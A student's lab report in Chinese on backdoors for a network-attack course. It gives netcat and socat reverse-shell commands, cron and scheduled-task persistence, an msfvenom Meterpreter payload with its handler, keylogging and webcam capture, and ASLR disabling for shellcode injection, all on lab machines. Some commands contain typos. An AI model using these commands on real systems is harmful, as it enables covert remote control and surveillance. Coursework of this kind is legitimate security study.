2019-2020-2 20174319 安睿韬《网络对抗技术》Exp2 后门原理与实践

目录


一. 实验内容明及预备知识
二. 软件下载及功能测试
三. 实验任务
四. 回答问题
五. 实验中遇到的问题及解决方法
六. 实验总结及体会

 

  . 实验内容及预备知识

 1、基础知识

        (1)后门

    • 后门概念

      • 在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
    • 常见后门

      • 应用程序的后门

      • 操作系统的后门后门

      • 编译器中的后门

        (2)后门工具

      • Netcatnetcat,是一个底层工具,又名nc,ncat,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

      • Socat,是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

      • Meterpreter: 具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

      • PowerSpoit: 基于 PowerShell 的后门集成框架。需要 .Net 环境支持。 

      • InterSect: 是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。 

      • Weevely: 是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

         2、实验内容 

      • 任务一:使用netcat获取主机操作Shell,cron启动

      • 任务二:使用socat获取主机操作Shell, 任务计划启动

      • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

      • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

      • 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

返回目录


  二. 软件下载及功能测试

            1、在windows下载 Netcat & Socat

       从老师所给指导的附件里下载 Netcat Socat 文件,在本机解压后放置到相应的文件夹。

       这里我把 Netcat 文件夹放置到了系统文件目录里,即 C:UsersAdministrator  目录,放置在这里有个好处就是我们使用 cmd 运行 Netcat 的命令时,不必在原本下载的目录里运行,也不必以 ncat.exe 的形式运行,直接 cmd 打开输入 ncat 就能跑,虽然也节省不了多少时间。

       在本机命令行里直接输入 ncat ,若能返回提示需指定要连接的主机,则说明 Netcat 载入好了。同理,运行 socat.exe ,返回相关提示即可。

             2、Windows获得 Linux Shell

      • 在本机命令行里直windows系统打开cmd,通过ipconfig指令,查找win主机的ip地址,可以看出,地址为  192.168.0.76

      • 获得主机ip地址后,使用 ncat 程序监听win主机的 4319 端口号,输入   cd/ncat切换到ncat程序的目录, 输入 cat -l -p 4319指令,这里的-l是listen,即监听

      • 接下来,在 kali linux 中反弹连接到 Windows 的 4319 端口,输入  nc 192.168.0.76 4319 -e /bin.sh,使用 -e选项执行shell程序

      • 回到win主机,在cmd中输入 ls,发现 kali linux 的文件出现列举在界面,Windows 获取 kali 的 shell 成功

             3、Linux 获得 Windows Shell

      • 在 kali 的终端中切换到root后,输入 ipconfig 查看 Linux 虚拟机 ip 地址,得到ip 地址为l92.168.211.129

      • 在 kali linux的终端输入nc -l -p 4319,监听虚拟机 4319 端口

      • 在 Windows 中反弹连接到 linux 的 4319 端口,ncat.exe -e cmd.exe 192.168.211.129 4319,这里的 ip 地址为 linux机的 ip地址

      • 返回 kali linux,发现 Windows 机被攻击成功, kali linux获取 Windows 的 shell成功

             4 、使用 Ncat 传输数据                     

      • 在安装了 Netcat 的主机里,都可以进行该测试
      • 选择 kali 连接到 Windows,首先在 Windows 下监听 4319 端口,输入 ncat.exe -l 4319

      • kali 反弹连接到 Windows 的 43189端口 ,终端输入 nc 192.168.0.76,这里输入的是 Win主机的ip地址

      •  连接成功后,输入字符进行传输验证,获得成功

              5、 使用 Ncat 传输文件

      • 连接的双方,同样可以进行文件的传输
      • 选择把文件从 kali 传到 Windows
      • Win主机监听本机 4319端口,并把收到的数据保存到 afile.out 中,cmd 中输入ncat -l 4319 >afile.out

      • 接下来,kali 反弹连接到 Win主机ip地址的 4319端口,并将 kali 端的创建文件 afile.in 传输过去,终端输入nc 192.168.0.76 4319 < afile.in
      • ps:传输之前一定要先创建传输文件,并写入文件内容

      • 在win主机的ncat文件夹中,找到了afile.in,打开后发现与原文件内容相同,测试成功

 

返回目录


    .  实验任务

           1、使用netcat获取主机操作Shell,cron启动  

      • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令
      • crontab -e指令增加一条定时任务 ,-e-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
      • 最后一行添加12 * * * * /bin/netcat 192.168.0.76 4319 -e /bin/she,意思是在每个小时的第12分钟反向连接Windows主机的4319端口

      • 时间到达2:12分的时候,如下图所示(如果使用  ls命令出现问题,可以使用比较简单的 whoami命令,也能验证)

 返回目录


     2、使用Socat获取主机操作Shell,任务计划启动

      • 在Win主机键盘敲Win+R输入 compmgmt.msc 打开 计算机管理

      • 任务计划程序中点击创建任务

 

        • 编写新建任务的名称,并新建一个触发器,选择 定时启动

        • 点击操作,在程序或脚本中选择本机的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4319 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd绑定到4319端口,同时把cmd的stderr重定向到stdout上

        • 敲击键盘Win+L锁定主机后,再打开,开始运行

        • 切换到 kali 虚拟机中输入指令 stocat - tcp:192.168.0.76:4319,这里的第一个参数-代表标准的输入输出,第二个代表流连接到 Win主机的 43189端口,此时stocat已经成功获得了shell

返回目录


   3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

        • 在 kali 内生成后门程序,并设定为控制端,在终端输入指令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.129 LPORT=4319 -f exe > art_backdoor.exe,, ip 地址为控制端的 ip ,即kali虚拟机的ip地址  

        • 在Win主机cmd执行 ncat.exe -lv 4319 > art_backdoor.exe,这样被控主机就进入了接收文件模式

        • 在kali中执行 nc 192.168.0.76 5215 < art_backdoor.exe(这里的ip为被控主机ip,即Win主机的ip地址)

        • 传送后的程序

        • 在kali上使用 msfconsole指令进入msf控制台
          • 输入 use exploit/multi/handler,使用监听模块,设置payload
          • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
          • set LHOST 192.168.211.129,这里是Kali虚拟机的ip,和生成后门程序时指定的ip相同
          • set LPORT 4319,使用相同的端口
        • 进入msf控制台后的界面

        • 设置完成之后,执行监听,并运行Win主机的后门程序,此时kali上已经获得了Win主机的连接,并且得到了远程控制的shell

返回目录


      4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

      •  record_mic指令可以截获一段音频(可以使用 -d设置录制时间)

      •  webcam_snap指令可以使用摄像头进行拍照

      •  keyscan_start指令记录下击键的过程, keyscan_dump指令读取击键记录。(使用 keyscan_start后就要输入,不然读取不到数据)

      •  screenshot指令可以进行截屏

返回目录


    5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

      • 实验前,要进行系列设置,很重要
        • execstack -s pwn1 //设置堆栈可执行
        • execstack -q pwn1    //查询文件的堆栈是否可执行
        • X pwn1
        • more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
        • echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
        • more /proc/sys/kernel/randomize_va_space
      • 按照实验一里的方法在一个终端里面找到shellcode地址,可以看到地址为0xffffd6ec+4=0xffffd6f0

        • 在这个shellcode网站下载一段用于实验的代码
        • 按照实验一的方法修改后注入

        •  打开另一个终端, 然后打开 msfconsole打开监听
          • use exploit/multi/handler  启用侦听模块
          • set payload linux/x86/shell_reverse_tcp  设置payload

          • set LHOST 127.0.0.1 设置LHOST

          • set LPORT 4444 设置LPORT,ip和端口都是文件指定

          • show options 

          • exploit 开始监听

          • 监听端linux主机获得了被控端win主机的shell,实验成功

返回目录


   四.回答问题

1、例举你能想到的一个后门进入到你系统中的可能方式?

          • 可能在系统开发时,程序员已经设置了后门,我们不小心下载了带后门的系统,导致电脑被留后门。

2、例举你知道的后门如何启动起来(win及linux)的方式?

          • Windows:将后门设置为任务,执行某个操作时后门程序将被触发;设置开机启动;执行带后门的程序;网页下载链接等。

          • linux:利用cron将插入的后门指令或程序设置为定时启动;对软件注入shellcode。

3、Meterpreter有哪些给你映像深刻的功能?

          • 植入后居然可以直接获得主机的shell,并且进行录音、拍照、截屏,甚至还可以通过键盘输入记录,获取密码等重要信息

4、如何发现自己有系统有没有被安装后门?

          • 安装杀毒软件,定时进行安全检测

          • 时刻打开防火墙

          • 注意文件是否被篡改

          • 注意到是否有异常进程

返回目录


   五. 实验中遇到的问题及解决方法  

                            1、Bundler版本的问题

        • 解决方法:执行  gem install bundler:1.17.3,下载该版本的bundler。

                              2、任务5中,监听无法正常进行

          • 解决方法:经过反复确认esp的地址,shellcode里的地址是无误的,排除了地址错误后,再加上和薛勐同学的讨论,决定重启后再次进行实验,这次我在每一个终端都输入了以下设置

 execstack -s pwn1 //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

              • 最后终于成功了,但还是不确定关键问题是什么。

返回目录


   六. 实验总结及体会

          这次实验借鉴了第一次实验的经验教训,我没有草率开始,而是先看教学视频,再博览博客,最后才开始做实验,发现上手起来真的轻松不少,这次的实验操作不难,但要透彻理解指令的含义,比如win获取linux的shell时,是在win端打开监听程序,在linux端反弹win端ip地址,所以不仅要细心的输入代码进行操作,而且还要真正的理解代码的含义,这样才能保证实验顺利进行。这次实验能成功完成,还有来自讨论的帮助,通过和同学的积极讨论,对于实验的操作和错误解决都有了更透彻的理解。本次实验,我还深深感受到了后门程序的可怕,随着实验的不断进行,每一个小任务都在加深我对后门程序的认知,小到获得shell,大到植入程序、窃取文件。如果计算机被装了后门,那么隐私也就不复存在了,我们总以为自己的计算机是安全的。还记得美国的棱镜门事件,美国政府对全世界都进行着一定程度的监听,每个人的电脑都有可能被随时监听着,这真的是很可怕的事,无法想象有人通过你自己的摄像头监视着你的一举一动。在生活中,我们不能放松警惕,不要随意点开不明的链接,不要轻易去非官网地址下载软件,只要稍不注意,那等待我们的可能就是隐私泄露,所以说一定要注意计算机的安全防护,提高安全意识!

返回目录

原文地址:https://www.cnblogs.com/art23/p/12515241.html